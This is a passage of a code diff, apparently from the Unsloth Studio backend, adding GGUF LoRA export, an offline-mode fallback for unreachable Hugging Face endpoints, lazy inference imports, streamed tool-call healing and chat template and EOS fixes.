@@ -746,7 +1074,24 @@ class ExportBackend:
                 logger.info(f"Saving LoRA adapter locally to: {save_directory}")
                 ensure_dir(Path(save_directory))
 
-                if _IS_MLX:
+                if gguf:
+                    # Writes the adapter files plus "<base>-lora-<outtype>.gguf".
+                    _apply_wsl_sudo_patch()
+                    self.current_model.save_pretrained_gguf(
+                        save_directory,
+                        self.current_tokenizer,
+                        save_method = "lora",
+                        quantization_method = outtype,
+                        # Forward the token so convert_lora_to_gguf.py can fetch a gated base's config.
+                        token = hf_token or None,
+                    )
+                    final_ggufs = sorted(glob.glob(os.path.join(save_directory, "*.gguf")))
+                    logger.info(
+                        "LoRA GGUF export complete. Files in %s:\n  %s",
+                        save_directory,
+                        "\n  ".join(os.path.basename(f) for f in final_ggufs) or "(none)",
+                    )
+                elif _IS_MLX:
                     # MLX: save adapters.safetensors + tokenizer files
                     self.current_model.save_lora_adapters(save_directory)
                     self.current_tokenizer.save_pretrained(save_directory)
@@ -766,7 +1111,24 @@ class ExportBackend:
 
                 logger.info(f"Pushing LoRA adapter to Hub: {repo_id}")
 
-                if _IS_MLX:
+                if gguf:
+                    # Upload the locally-built GGUF folder; needs a local save_directory so the
+                    # conversion is not re-run.
+                    if not (output_path and Path(output_path).is_dir()):
+                        return (
+                            False,
+                            "GGUF LoRA Hub upload requires a local save directory; set one and "
+                            "retry.",
+                            None,
+                        )
+                    hf_api = HfApi(token = hf_token)
+                    hf_api.create_repo(repo_id, private = private, exist_ok = True)
+                    hf_api.upload_folder(
+                        folder_path = output_path,
+                        repo_id = repo_id,
+                        repo_type = "model",
+                    )
+                elif _IS_MLX:
                     with tempfile.TemporaryDirectory() as tmp_dir:
                         self.current_model.save_lora_adapters(tmp_dir)
                         self.current_tokenizer.save_pretrained(tmp_dir)
diff --git a/studio/backend/core/export/orchestrator.py b/studio/backend/core/export/orchestrator.py
index 478624b48e..671ef363f5 100644
--- a/studio/backend/core/export/orchestrator.py
+++ b/studio/backend/core/export/orchestrator.py
@@ -456,6 +456,7 @@ class ExportOrchestrator:
         repo_id: Optional[str] = None,
         hf_token: Optional[str] = None,
         private: bool = False,
+        compressed_method: Optional[str] = None,
     ) -> Tuple[bool, str, Optional[str]]:
         """Export merged PEFT model."""
         return self._run_export(
@@ -467,6 +468,7 @@ class ExportOrchestrator:
                 "repo_id": repo_id,
                 "hf_token": hf_token,
                 "private": private,
+                "compressed_method": compressed_method,
             },
         )
 
@@ -495,12 +497,13 @@ class ExportOrchestrator:
     def export_gguf(
         self,
         save_directory: str,
-        quantization_method: str = "Q4_K_M",
+        quantization_method = "Q4_K_M",
         push_to_hub: bool = False,
         repo_id: Optional[str] = None,
         hf_token: Optional[str] = None,
+        imatrix_file = None,
     ) -> Tuple[bool, str, Optional[str]]:
-        """Export model in GGUF format."""
+        """Export model in GGUF format. `quantization_method` may be a single method or a list."""
         return self._run_export(
             "gguf",
             {
@@ -509,6 +512,7 @@ class ExportOrchestrator:
                 "push_to_hub": push_to_hub,
                 "repo_id": repo_id,
                 "hf_token": hf_token,
+                "imatrix_file": imatrix_file,
             },
         )
 
@@ -519,8 +523,10 @@ class ExportOrchestrator:
         repo_id: Optional[str] = None,
         hf_token: Optional[str] = None,
         private: bool = False,
+        gguf: bool = False,
+        gguf_outtype: str = "q8_0",
     ) -> Tuple[bool, str, Optional[str]]:
-        """Export LoRA adapter only."""
+        """Export LoRA adapter only (optionally also as a GGUF LoRA file)."""
         return self._run_export(
             "lora",
             {
@@ -529,6 +535,8 @@ class ExportOrchestrator:
                 "repo_id": repo_id,
                 "hf_token": hf_token,
                 "private": private,
+                "gguf": gguf,
+                "gguf_outtype": gguf_outtype,
             },
         )
 
@@ -555,9 +563,13 @@ class ExportOrchestrator:
                 cmd = {"type": "export", "export_type": export_type, **params}
                 try:
                     self._send_cmd(cmd)
+                    # GGUF for 30B+ models can take 30+ min per quant; a multi-quant list runs them
+                    # all in one op off a single merge, so scale the timeout by the quant count.
+                    _qm = params.get("quantization_method")
+                    _n = len(_qm) if isinstance(_qm, (list, tuple)) and _qm else 1
                     resp = self._wait_response(
                         f"export_{export_type}_done",
-                        timeout = 3600,  # GGUF for 30B+ models can take 30+ min
+                        timeout = 3600 * max(1, _n),
                     )
                     op_success = resp.get("success", False)
                     op_message = resp.get("message", "")
diff --git a/studio/backend/core/export/worker.py b/studio/backend/core/export/worker.py
index fdaa306e10..7828116236 100644
--- a/studio/backend/core/export/worker.py
+++ b/studio/backend/core/export/worker.py
@@ -13,6 +13,7 @@ Pattern follows core/inference/worker.py and core/training/worker.py.
 
 from __future__ import annotations
 
+import contextlib
 import errno
 import structlog
 from loggers import get_logger
@@ -171,6 +172,57 @@ def _activate_transformers_version(model_name: str, hf_token: str | None = None)
     activate_transformers_for_subprocess(model_name, hf_token)
 
 
+@contextlib.contextmanager
+def _offline_window_if_unreachable(step = "loading"):
+    """Force HF offline for a network-touching step (transformers version activation, or the
+    load preflights that hit the Hub) when the endpoint is unreachable, then restore the prior
+    env. Keeps a no-network export from hanging on Hub calls that run before load_checkpoint's
+    own probe, while letting this persistent worker re-decide per operation once back online.
+
+    Post-ML-import (the load preflights), huggingface_hub has already read its in-process
+    offline constant and cached sessions, so env alone is too late: defer to the loader's
+    _force_hf_offline (env + in-process flags + session reset). Pre-import (activation),
+    huggingface_hub is not loaded yet, so setting the env vars suffices for its urllib probes."""
+    saved: dict[str, str | None] = {}
+    force_ctx = None
+    try:
+        from utils.transformers_version import _env_offline, hf_endpoint_unreachable
+        probe_enabled = os.environ.get("UNSLOTH_OFFLINE_PROBE", "1").strip().lower() not in (
+            "0",
+            "false",
+            "no",
+            "off",
+        )
+        if not _env_offline() and probe_enabled and hf_endpoint_unreachable():
+            logger.warning("Hugging Face endpoint unreachable; %s offline", step)
+            if "huggingface_hub" in sys.modules:
+                try:
+                    from unsloth.models.loader_utils import _force_hf_offline
+                    force_ctx = _force_hf_offline()
+                    force_ctx.__enter__()  # sets env + in-process flags + resets sessions
+                except Exception:
+                    force_ctx = None
+            if force_ctx is None:
+                for k in ("HF_HUB_OFFLINE", "TRANSFORMERS_OFFLINE"):
+                    saved[k] = os.environ.get(k)
+                    os.environ[k] = "1"
+    except Exception:
+        pass
+    try:
+        yield
+    finally:
+        if force_ctx is not None:
+            try:
+                force_ctx.__exit__(None, None, None)
+            except Exception:
+                pass
+        for k, v in saved.items():
+            if v is None:
+                os.environ.pop(k, None)
+            else:
+                os.environ[k] = v
+
+
 def _send_response(resp_queue: Any, response: dict) -> None:
     """Send a response to the parent process."""
     try:
@@ -345,6 +397,7 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None:
                 repo_id = cmd.get("repo_id"),
                 hf_token = cmd.get("hf_token"),
                 private = cmd.get("private", False),
+                compressed_method = cmd.get("compressed_method"),
             )
         elif export_type == "base":
             success, message, output_path = backend.export_base_model(
@@ -362,6 +415,7 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None:
                 push_to_hub = cmd.get("push_to_hub", False),
                 repo_id = cmd.get("repo_id"),
                 hf_token = cmd.get("hf_token"),
+                imatrix_file = cmd.get("imatrix_file"),
             )
         elif export_type == "lora":
             success, message, output_path = backend.export_lora_adapter(
@@ -370,6 +424,8 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None:
                 repo_id = cmd.get("repo_id"),
                 hf_token = cmd.get("hf_token"),
                 private = cmd.get("private", False),
+                gguf = cmd.get("gguf", False),
+                gguf_outtype = cmd.get("gguf_outtype", "q8_0"),
             )
         else:
             success, message = False, f"Unknown export type: {export_type}"
@@ -459,19 +515,20 @@ def run_export_process(*, cmd_queue: Any, resp_queue: Any, config: dict) -> None
     checkpoint_path = config["checkpoint_path"]
 
     # ── 1. Activate correct transformers version BEFORE any ML imports ──
-    try:
-        _activate_transformers_version(checkpoint_path, config.get("hf_token") or None)
-    except Exception as exc:
-        _send_response(
-            resp_queue,
-            {
-                "type": "error",
-                "error": f"Failed to activate transformers version: {exc}",
-                "stack": traceback.format_exc(limit = 20),
-                "ts": time.time(),
-            },
-        )
-        return
+    with _offline_window_if_unreachable(step = "activating transformers"):
+        try:
+            _activate_transformers_version(checkpoint_path, config.get("hf_token") or None)
+        except Exception as exc:
+            _send_response(
+                resp_queue,
+                {
+                    "type": "error",
+                    "error": f"Failed to activate transformers version: {exc}",
+                    "stack": traceback.format_exc(limit = 20),
+                    "ts": time.time(),
+                },
+            )
+            return
 
     # ── 1b. Check Triton on Windows (must precede import torch) ──
     if sys.platform == "win32":
@@ -534,7 +591,10 @@ def run_export_process(*, cmd_queue: Any, resp_queue: Any, config: dict) -> None
     try:
         backend = ExportBackend()
 
-        _handle_load(backend, config, resp_queue)
+        # Offline window covers the load preflights (malware/consent scans hit the Hub)
+        # before load_checkpoint runs its own probe; restored after so later loads re-decide.
+        with _offline_window_if_unreachable():
+            _handle_load(backend, config, resp_queue)
 
     except Exception as exc:
         _send_response(
@@ -570,7 +630,9 @@ def run_export_process(*, cmd_queue: Any, resp_queue: Any, config: dict) -> None
             if cmd_type == "load":
                 # Load a new checkpoint, reusing this subprocess.
                 backend.cleanup_memory()
-                _handle_load(backend, cmd, resp_queue)
+                # Offline window also covers this load's Hub preflights (re-probed per load).
+                with _offline_window_if_unreachable():
+                    _handle_load(backend, cmd, resp_queue)
 
             elif cmd_type == "export":
                 _handle_export(backend, cmd, resp_queue)
diff --git a/studio/backend/core/inference/__init__.py b/studio/backend/core/inference/__init__.py
index 2faf70bb79..ad78157418 100644
--- a/studio/backend/core/inference/__init__.py
+++ b/studio/backend/core/inference/__init__.py
@@ -7,13 +7,16 @@ Inference submodule - backend for model loading and generation.
 The default get_inference_backend() returns an InferenceOrchestrator that
 delegates to a subprocess. The original InferenceBackend runs inside the
 subprocess and can be imported directly from .inference when needed.
+
+Public names are resolved lazily (PEP 562): importing this package -- or a
+dependency-light leaf like ``core.inference.chat_eos`` -- must NOT eagerly pull
+the orchestrator / llama_cpp import chain (httpx, subprocess plumbing, the ML
+backend and its Studio dependencies). Those load only when a public name is
+actually accessed, so standalone helpers stay unit-testable without the full
+inference stack.
 """
 
-from .orchestrator import InferenceOrchestrator, get_inference_backend
-from .llama_cpp import LlamaCppBackend
-
-# Expose InferenceOrchestrator as InferenceBackend for backward compat.
-InferenceBackend = InferenceOrchestrator
+from typing import TYPE_CHECKING
 
 __all__ = [
     "InferenceBackend",
@@ -21,3 +24,33 @@ __all__ = [
     "get_inference_backend",
     "LlamaCppBackend",
 ]
+
+# name -> (submodule, attribute); InferenceBackend aliases InferenceOrchestrator.
+_LAZY_ATTRS = {
+    "InferenceOrchestrator": ("orchestrator", "InferenceOrchestrator"),
+    "InferenceBackend": ("orchestrator", "InferenceOrchestrator"),
+    "get_inference_backend": ("orchestrator", "get_inference_backend"),
+    "LlamaCppBackend": ("llama_cpp", "LlamaCppBackend"),
+}
+
+
+def __getattr__(name):
+    try:
+        submodule, attr = _LAZY_ATTRS[name]
+    except KeyError:
+        raise AttributeError(f"module {__name__!r} has no attribute {name!r}") from None
+    from importlib import import_module
+
+    value = getattr(import_module(f"{__name__}.{submodule}"), attr)
+    globals()[name] = value  # cache so later access skips __getattr__
+    return value
+
+
+def __dir__():
+    return sorted(set(globals()) | set(__all__))
+
+
+if TYPE_CHECKING:  # keep static analysers / IDEs aware of the lazy names
+    from .llama_cpp import LlamaCppBackend
+    from .orchestrator import InferenceOrchestrator, get_inference_backend
+    InferenceBackend = InferenceOrchestrator
diff --git a/studio/backend/core/inference/anthropic_compat.py b/studio/backend/core/inference/anthropic_compat.py
index 0307336dde..7b572a28ff 100644
--- a/studio/backend/core/inference/anthropic_compat.py
+++ b/studio/backend/core/inference/anthropic_compat.py
@@ -494,6 +494,29 @@ class AnthropicPassthroughEmitter:
         self._usage: dict = {}
         self._stop_reason: str = "end_turn"
         self._stop_sequence: Optional[str] = None
+        # Optional text-form tool-call healing (client-tool passthrough only).
+        self._healer = None
+        self._healed_tool_use = False
+        self._healed_call_count = 0
+        self._heal_disable_parallel = False
+
+    def enable_healing(
+        self,
+        allowed_tools: set,
+        tools: Optional[list] = None,
+        *,
+        disable_parallel_tool_use: bool = False,
+    ) -> None:
+        """Promote text-form tool calls in streamed content to tool_use blocks.
+
+        Only calls naming a tool in ``allowed_tools`` (the client's declared
+        tools) are promoted; everything else streams as text exactly as before.
+        Never enabled for Studio's own tool loop.
+        """
+        from core.inference.passthrough_healing import StreamToolCallHealer
+
+        self._healer = StreamToolCallHealer(allowed_tools, tools)
+        self._heal_disable_parallel = disable_parallel_tool_use
 
     def start(
         self,
@@ -542,29 +565,42 @@ class AnthropicPassthroughEmitter:
         delta = choice.get("delta") or {}
         finish_reason = choice.get("finish_reason")
 
+        # ── Structured tool calls take precedence over healing ──
+        # Grammar mode worked: flush anything the healer held (it preceded the
+        # call in the model's output) and relay verbatim from here on.
+        if delta.get("tool_calls") and self._healer is not None and not self._healer.dormant:
+            for kind, value in self._healer.structured_tool_call_seen():
+                if kind == "text" and value:
+                    events.extend(self._emit_text_delta(value))
+
         # ── Text content ──
         content = delta.get("content")
-        if content:
-            if self._current_block_type != "text":
-                if self._current_block_type is not None:
-                    events.append(self._close_current_block())
-                events.extend(self._open_text_block())
-            events.append(
-                build_anthropic_sse_event(
-                    "content_block_delta",
-                    {
-                        "type": "content_block_delta",
-                        "index": self.block_index,
-                        "delta": {"type": "text_delta", "text": content},
-                    },
-                )
-            )
+        if content and self._healer is not None and not self._healer.dormant:
+            # Route text through the healer: held/promoted portions become
+            # synthetic tool_use blocks, the rest streams as text unchanged.
+            for kind, value in self._healer.feed(content):
+                if kind == "text":
+                    events.extend(self._emit_text_delta(value))
+                else:
+                    events.extend(self._emit_healed_tool_use(value))
+        elif content:
+            events.extend(self._emit_text_delta(content))
 
         # ── Tool calls (streaming deltas) ──
         tool_calls = delta.get("tool_calls") or []
         for tc in tool_calls:
             tc_idx = tc.get("index", 0)
             fn = tc.get("function") or {}
+            if (
+                self._heal_disable_parallel
+                and tc_idx not in self._tool_call_states
+                and (self._healed_call_count + len(self._tool_call_states)) >= 1
+            ):
+                # disable_parallel_tool_use: a healed call already consumed the
+                # single allowed slot. The caller's chunk-level cap only sees
+                # native indexes, so drop this native call (and its later
+                # argument deltas, which never allocate a state either).
+                continue
             if tc_idx not in self._tool_call_states:
                 # New tool call — close prior block, open tool_use block
                 if self._current_block_type is not None:
@@ -618,6 +654,17 @@ class AnthropicPassthroughEmitter:
 
     def finish(self) -> list[str]:
         events: list[str] = []
+        if self._healer is not None:
+            # Last-chance heal of any held residue (e.g. an unclosed tool block).
+            for kind, value in self._healer.finalize():
+                if kind == "text" and value:
+                    events.extend(self._emit_text_delta(value))
+                elif kind == "tool_call":
+                    events.extend(self._emit_healed_tool_use(value))
+        if self._healed_tool_use and self._stop_reason != "max_tokens":
+            # A promoted call must stop for tool use; a truncation still wins
+            # (its arguments may be incomplete).
+            self._stop_reason = "tool_use"
         if self._current_block_type is not None:
             events.append(self._close_current_block())
         events.append(
@@ -641,6 +688,76 @@ class AnthropicPassthroughEmitter:
         )
         return events
 
+    def _emit_text_delta(self, content: str) -> list[str]:
+        events: list[str] = []
+        if self._current_block_type != "text":
+            if self._current_block_type is not None:
+                events.append(self._close_current_block())
+            events.extend(self._open_text_block())
+        events.append(
+            build_anthropic_sse_event(
+                "content_block_delta",
+                {
+                    "type": "content_block_delta",
+                    "index": self.block_index,
+                    "delta": {"type": "text_delta", "text": content},
+                },
+            )
+        )
+        return events
+
+    def _emit_healed_tool_use(self, call: dict) -> list[str]:
+        # A healed call arrives complete, so its tool_use block opens, carries
+        # one input_json_delta, and closes immediately; an open text block is
+        # closed first (only the safe prefix ever streamed into it).
+        if (
+            self._heal_disable_parallel
+            and (self._healed_call_count + len(self._tool_call_states)) >= 1
+        ):
+            # Healed and native calls share the single allowed slot.
+            return []
+        events: list[str] = []
+        if self._current_block_type is not None:
+            events.append(self._close_current_block())
+        function = call.get("function") or {}
+        tool_id = anthropic_tool_use_id("")
+        self.block_index += 1
+        self._current_block_type = "tool_use"
+        events.append(
+            build_anthropic_sse_event(
+                "content_block_start",
+                {
+                    "type": "content_block_start",
+                    "index": self.block_index,
+                    "content_block": {
+                        "type": "tool_use",
+                        "id": tool_id,
+                        "name": function.get("name", ""),
+                        "input": {},
+                    },
+                },
+            )
+        )
+        arguments = function.get("arguments") or ""
+        if arguments:
+            events.append(
+                build_anthropic_sse_event(
+                    "content_block_delta",
+                    {
+                        "type": "content_block_delta",
+                        "index": self.block_index,
+                        "delta": {
+                            "type": "input_json_delta",
+                            "partial_json": arguments,
+                        },
+                    },
+                )
+            )
+        events.append(self._close_current_block())
+        self._healed_tool_use = True
+        self._healed_call_count += 1
+        return events
+
     def _open_text_block(self) -> list[str]:
         self.block_index += 1
         self._current_block_type = "text"
diff --git a/studio/backend/core/inference/chat_eos.py b/studio/backend/core/inference/chat_eos.py
new file mode 100644
index 0000000000..2a5d0db228
--- /dev/null
+++ b/studio/backend/core/inference/chat_eos.py
@@ -0,0 +1,109 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Resolve a chat model's assistant-turn-end stop tokens.
+
+Some checkpoints set eos_token_id to a bare document terminator (Qwen3.5 ships
+config eos ``<|endoftext|>`` though chat turns end with ``<|im_end|>``, and its
+small chat variants ship no generation_config), so generation runs past the turn
+and loops -- re-emitting tool calls or hallucinating ``<|im_start|>`` turns.
+
+Turn-end markers are derived from the tokenizer's ``chat_template`` (the tokens it
+actually uses to end a turn), not raw vocab membership: a base/coder model can
+carry ChatML control tokens in a shared vocab without using them, and a loader
+may have synced ``eos_token`` to the document terminator. Dependency-light (no
+torch / unsloth) so it is unit-testable without the full inference stack.
+"""
+
+from typing import Optional
+
+# Canonical assistant-turn-end markers per chat family.
+_CHAT_TURN_END_TOKENS = (
+    "<|im_end|>",  # ChatML: Qwen, Yi
+    "<|eot_id|>",  # Llama 3.x
+    "<|eom_id|>",  # Llama 3.x tool turns
+    "<end_of_turn>",  # Gemma
+    "<turn|>",  # Gemma-4
+    "<|end|>",  # Phi
+    "<|end_of_turn|>",  # OpenChat / Starling (barred, distinct from Gemma's)
+)
+# harmony/gpt-oss uses <|end|> as a channel delimiter, not the turn end, and has
+# its own streamer, so its eos is left untouched.
+_HARMONY_MARKERS = ("<|channel|>", "<|constrain|>")
+
+
+def _eos_id_set(eos_token_id) -> set:
+    if isinstance(eos_token_id, (list, tuple)):
+        return {int(t) for t in eos_token_id if t is not None}
+    if eos_token_id is not None:
+        return {int(eos_token_id)}
+    return set()
+
+
+def _collect_template_text(chat_template) -> str:
+    """Flatten a tokenizer ``chat_template`` into one scannable string.
+
+    Usually the template is a single jinja string, but multi-variant models
+    (e.g. Hermes-3: a ``default`` plus a ``tool_use`` template) expose it as a
+    ``{name: template}`` dict -- or, as stored in tokenizer_config.json, a list
+    of ``{"name": ..., "template": ...}`` dicts. Scanning only the ``str`` case
+    would skip turn-end detection for those valid models, so gather every string
+    leaf (variant names are harmless: they never contain the markers).
+    """
+    if isinstance(chat_template, str):
+        return chat_template
+    if isinstance(chat_template, dict):
+        values = chat_template.values()
+    elif isinstance(chat_template, (list, tuple)):
+        values = chat_template
+    else:
+        return ""
+    parts = [_collect_template_text(v) for v in values]
+    return "\n".join(p for p in parts if p)
+
+
+def resolve_chat_turn_end_eos_ids_using(template_tokenizer, id_tokenizer) -> list:
+    """eos of ``id_tokenizer`` plus any canonical turn-end marker the
+    ``template_tokenizer``'s chat_template uses, resolved to ids on ``id_tokenizer`` --
+    the tokenizer generation actually uses.
+
+    Pass the same tokenizer for both at load time. After a mapped ``get_chat_template``
+    pass the MAPPED tokenizer as ``template_tokenizer`` (it carries the effective
+    template) and the ORIGINAL generation tokenizer as ``id_tokenizer``: a mapped
+    template registered ``map_eos_token=True`` can hand back a tokenizer whose vocab
+    folds the turn-end token onto the doc-eos id, and generate_stream re-reads the
+    original tokenizer, so resolving ids on the mapped tokenizer would store the wrong
+    (doc-eos) id and let generation run past the real turn marker."""
+    ids = _eos_id_set(getattr(id_tokenizer, "eos_token_id", None))
+    template = _collect_template_text(getattr(template_tokenizer, "chat_template", None))
+    if not template or any(h in template for h in _HARMONY_MARKERS):
+        return sorted(ids)
+    unk = getattr(id_tokenizer, "unk_token_id", None)
+    for marker in _CHAT_TURN_END_TOKENS:
+        if marker in template:
+            try:
+                tid = id_tokenizer.convert_tokens_to_ids(marker)
+            except Exception:
+                tid = None
+            if tid is not None and tid != unk and int(tid) >= 0:
+                ids.add(int(tid))
+    return sorted(ids)
+
+
+def resolve_chat_turn_end_eos_ids(tokenizer) -> list:
+    """tokenizer.eos plus any canonical turn-end marker the model's chat_template
+    actually uses. Cheap (convert_tokens_to_ids per marker, no get_vocab); intended
+    to be resolved once at load. Returns eos unchanged for harmony templates."""
+    return resolve_chat_turn_end_eos_ids_using(tokenizer, tokenizer)
+
+
+def chat_eos_repair(current_eos, turn_end_ids) -> Optional[list]:
+    """Merged eos_token_id list, or None if ``current_eos`` already covers every
+    resolved turn-end id. Used to repair a model's generation_config at load so
+    every ``.generate()`` path (vision, tool loops) stops at the turn boundary."""
+    if not turn_end_ids:
+        return None
+    current_set = _eos_id_set(current_eos)
+    if set(turn_end_ids) <= current_set:
+        return None
+    return sorted(current_set | set(turn_end_ids))
diff --git a/studio/backend/core/inference/chat_template_helpers.py b/studio/backend/core/inference/chat_template_helpers.py
index b85e9c348a..dfd4c1c0bc 100644
--- a/studio/backend/core/inference/chat_template_helpers.py
+++ b/studio/backend/core/inference/chat_template_helpers.py
@@ -3,12 +3,60 @@
 
 """
 Dependency-light wrapper around tokenizer.apply_chat_template with a kwarg
-fallback for templates that reject reasoning/tools args.
+fallback for templates that reject reasoning/tools args, plus the shared
+native-chat-template fallback used by the transformers and MLX backends.
 """
 
+import copy
+import json
+import logging
 from typing import Optional
 
 
+logger = logging.getLogger(__name__)
+
+
+def _normalize_tool_call_arguments(messages: list) -> list:
+    """Coerce each assistant ``tool_calls[].function.arguments`` from a JSON
+    string to a dict.
+
+    The OpenAI wire format carries ``arguments`` as a JSON string, but some chat
+    templates (e.g. the stricter Qwen tool templates shipped with mlx-community
+    checkpoints) iterate ``arguments.items()`` and raise
+    ``TypeError: Can only get item pairs from a mapping.`` on the string form
+    when a prior tool call is re-rendered on the next turn. A dict works on both
+    strict and lenient templates, so parse the string; leave non-JSON or non-dict
+    values untouched. Returns the original list unchanged when nothing needed
+    coercing (no copy)."""
+    mutated = False
+    out: list = []
+    for msg in messages:
+        tool_calls = msg.get("tool_calls") if isinstance(msg, dict) else None
+        if not tool_calls:
+            out.append(msg)
+            continue
+        new_calls = []
+        msg_changed = False
+        for call in tool_calls:
+            fn = call.get("function") if isinstance(call, dict) else None
+            args = fn.get("arguments") if isinstance(fn, dict) else None
+            if isinstance(args, str):
+                try:
+                    parsed = json.loads(args)
+                except (ValueError, TypeError):
+                    parsed = None
+                if isinstance(parsed, dict):
+                    call = {**call, "function": {**fn, "arguments": parsed}}
+                    msg_changed = True
+            new_calls.append(call)
+        if msg_changed:
+            out.append({**msg, "tool_calls": new_calls})
+            mutated = True
+        else:
+            out.append(msg)
+    return out if mutated else messages
+
+
 def apply_chat_template_for_generation(
     tokenizer,
     messages: list,
@@ -38,21 +86,209 @@ def apply_chat_template_for_generation(
         attempts.append(dict(reasoning_kwargs))
     attempts.append({})
 
-    last_exc: Optional[Exception] = None
-    for kwargs in attempts:
+    def _render(msgs: list) -> str:
+        last_exc: Optional[Exception] = None
+        for kwargs in attempts:
+            try:
+                return tokenizer.apply_chat_template(
+                    msgs,
+                    tokenize = False,
+                    add_generation_prompt = True,
+                    **kwargs,
+                )
+            except TypeError as e:
+                last_exc = e
+                continue
+            except Exception as e:
+                last_exc = e
+                break
+        if last_exc is not None:
+            raise last_exc
+        raise RuntimeError("apply_chat_template_for_generation: no attempt produced a result")
+
+    try:
+        return _render(messages)
+    except Exception:
+        # Strict tool templates reject the JSON-string ``arguments`` form via
+        # TypeError or a broad Jinja raise_exception, so retry with dicts coerced.
+        # Original messages render first, so working templates stay byte-identical.
+        normalized = _normalize_tool_call_arguments(messages)
+        if normalized is messages:
+            raise
+        return _render(normalized)
+
+
+def render_native_template(
+    *,
+    model_info: dict,
+    active_model_name: Optional[str],
+    messages: list,
+    tools: list,
+    enable_thinking: Optional[bool] = None,
+    reasoning_effort: Optional[str] = None,
+    preserve_thinking: Optional[bool] = None,
+    apply_fn = None,
+    hf_token: Optional[str] = None,
+) -> Optional[str]:
+    """Render ``messages`` + ``tools`` with the model's NATIVE chat template.
+
+    Some Unsloth override templates (e.g. ``mistral``, ``gemma-4``) do not emit
+    the ``tools`` schema, so a tool-calling turn silently stops advertising tools.
+    The native template ships in the model repo and carries the family's
+    tool-calling syntax. It is loaded straight from the repo (bypassing any
+    override on the live tokenizer) and cached on ``model_info``. Returns the
+    rendered prompt only if the native template actually emits the tools (render
+    differs with vs without tools); otherwise ``None``.
+
+    ``hf_token`` is the token the model was loaded with -- passed to the repo load
+    so a gated/private model's native template can still be fetched (otherwise the
+    fallback fails silently and keeps the override prompt that dropped tools).
+
+    ``trust_remote_code`` is sourced from ``model_info`` (the value the model was
+    actually loaded with) rather than a call-site argument, so the native-template
+    reload uses exactly the consent already granted at load. A custom-code tokenizer
+    repo raises in ``AutoTokenizer.from_pretrained`` unless ``trust_remote_code`` is
+    passed, so without this the fallback fails silently and keeps the tool-dropping
+    prompt for a model the user already consented to run remote code for. For a LoRA
+    adapter the reload targets the base model, whose remote code was gated and loaded
+    under the same stored flag, so re-passing it executes no unconsented code.
+    """
+    # ``apply_fn`` lets a backend inject its own render; defaults to the module helper.
+    if apply_fn is None:
+        apply_fn = apply_chat_template_for_generation
+    native_tpl = model_info.get("native_chat_template")
+    if native_tpl is None:
+        # A LoRA adapter's native template lives on the base model, not the adapter id.
+        template_source = model_info.get("base_model") or active_model_name
+        # Re-use the load-time trust_remote_code so a custom-code tokenizer repo can
+        # instantiate its class (the stored flag already covers template_source).
+        trust_remote_code = bool(model_info.get("trust_remote_code", False))
         try:
-            return tokenizer.apply_chat_template(
-                messages,
-                tokenize = False,
-                add_generation_prompt = True,
-                **kwargs,
+            from transformers import AutoTokenizer
+            nt = AutoTokenizer.from_pretrained(
+                template_source,
+                token = hf_token if hf_token and hf_token.strip() else None,
+                trust_remote_code = trust_remote_code,
             )
-        except TypeError as e:
-            last_exc = e
-            continue
-        except Exception as e:
-            last_exc = e
-            break
-    if last_exc is not None:
-        raise last_exc
-    raise RuntimeError("apply_chat_template_for_generation: no attempt produced a result")
+            native_tpl = nt.chat_template or False
+        except Exception as exc:
+            logger.warning(
+                "Could not load native chat template for '%s': %s",
+                template_source,
+                exc,
+            )
+            # A failed fetch is not "no template": leave the sentinel unset so the next
+            # call retries (caching False would pin the tool-dropping override).
+            return None
+        model_info["native_chat_template"] = native_tpl
+    if not native_tpl:
+        return None
+
+    tokenizer = model_info.get("tokenizer") or model_info.get("processor")
+    if tokenizer is None:
+        return None
+    tokenizer = getattr(tokenizer, "tokenizer", tokenizer)
+    # Render on a shallow copy: mutating the shared tokenizer.chat_template (outside the
+    # generation lock) races concurrent requests.
+    try:
+        render_tokenizer = copy.copy(tokenizer)
+        render_tokenizer.chat_template = native_tpl
+    except Exception as exc:
+        logger.warning(
+            "Could not clone tokenizer for native-template render of '%s': %s",
+            active_model_name,
+            exc,
+        )
+        return None
+    try:
+        with_tools = apply_fn(
+            render_tokenizer,
+            messages,
+            tools = tools,
+            enable_thinking = enable_thinking,
+            reasoning_effort = reasoning_effort,
+            preserve_thinking = preserve_thinking,
+        )
+        no_tools = apply_fn(
+            render_tokenizer,
+            messages,
+            tools = None,
+            enable_thinking = enable_thinking,
+            reasoning_effort = reasoning_effort,
+            preserve_thinking = preserve_thinking,
+        )
+    except Exception as exc:
+        logger.warning(
+            "Native-template tool render failed for '%s': %s",
+            active_model_name,
+            exc,
+        )
+        return None
+    return with_tools if with_tools != no_tools else None
+
+
+def render_with_native_template_fallback(
+    *,
+    formatted_prompt: str,
+    tokenizer,
+    model_info: dict,
+    active_model_name: Optional[str],
+    messages: list,
+    tools: Optional[list],
+    enable_thinking: Optional[bool] = None,
+    reasoning_effort: Optional[str] = None,
+    preserve_thinking: Optional[bool] = None,
+    apply_fn = None,
+    hf_token: Optional[str] = None,
+) -> str:
+    """Return ``formatted_prompt``, swapping in a native-template render when an
+    override template dropped the ``tools`` schema.
+
+    If ``tools`` were requested but the live render is identical with and without
+    them (detected by comparison, robust against tool names in the system prompt),
+    re-render with the model's native template. Shared by the transformers and MLX
+    backends so both advertise tools consistently. ``hf_token`` is forwarded so a
+    gated/private model's native template can still be fetched."""
+    if not tools:
+        return formatted_prompt
+    if apply_fn is None:
+        apply_fn = apply_chat_template_for_generation
+    # Probe whether the live template dropped the schema. A tools-requiring template
+    # can raise here; on any error keep the valid tools prompt rather than lose it.
+    try:
+        probe_no_tools = apply_fn(
+            tokenizer,
+            messages,
+            tools = None,
+            enable_thinking = enable_thinking,
+            reasoning_effort = reasoning_effort,
+            preserve_thinking = preserve_thinking,
+        )
+    except Exception as exc:
+        logger.warning(
+            "No-tools probe failed for '%s'; keeping the existing tools prompt: %s",
+            active_model_name,
+            exc,
+        )
+        return formatted_prompt
+    if formatted_prompt != probe_no_tools:
+        return formatted_prompt  # template already emits the tools schema
+    native_prompt = render_native_template(
+        model_info = model_info,
+        active_model_name = active_model_name,
+        messages = messages,
+        tools = tools,
+        enable_thinking = enable_thinking,
+        reasoning_effort = reasoning_effort,
+        preserve_thinking = preserve_thinking,
+        apply_fn = apply_fn,
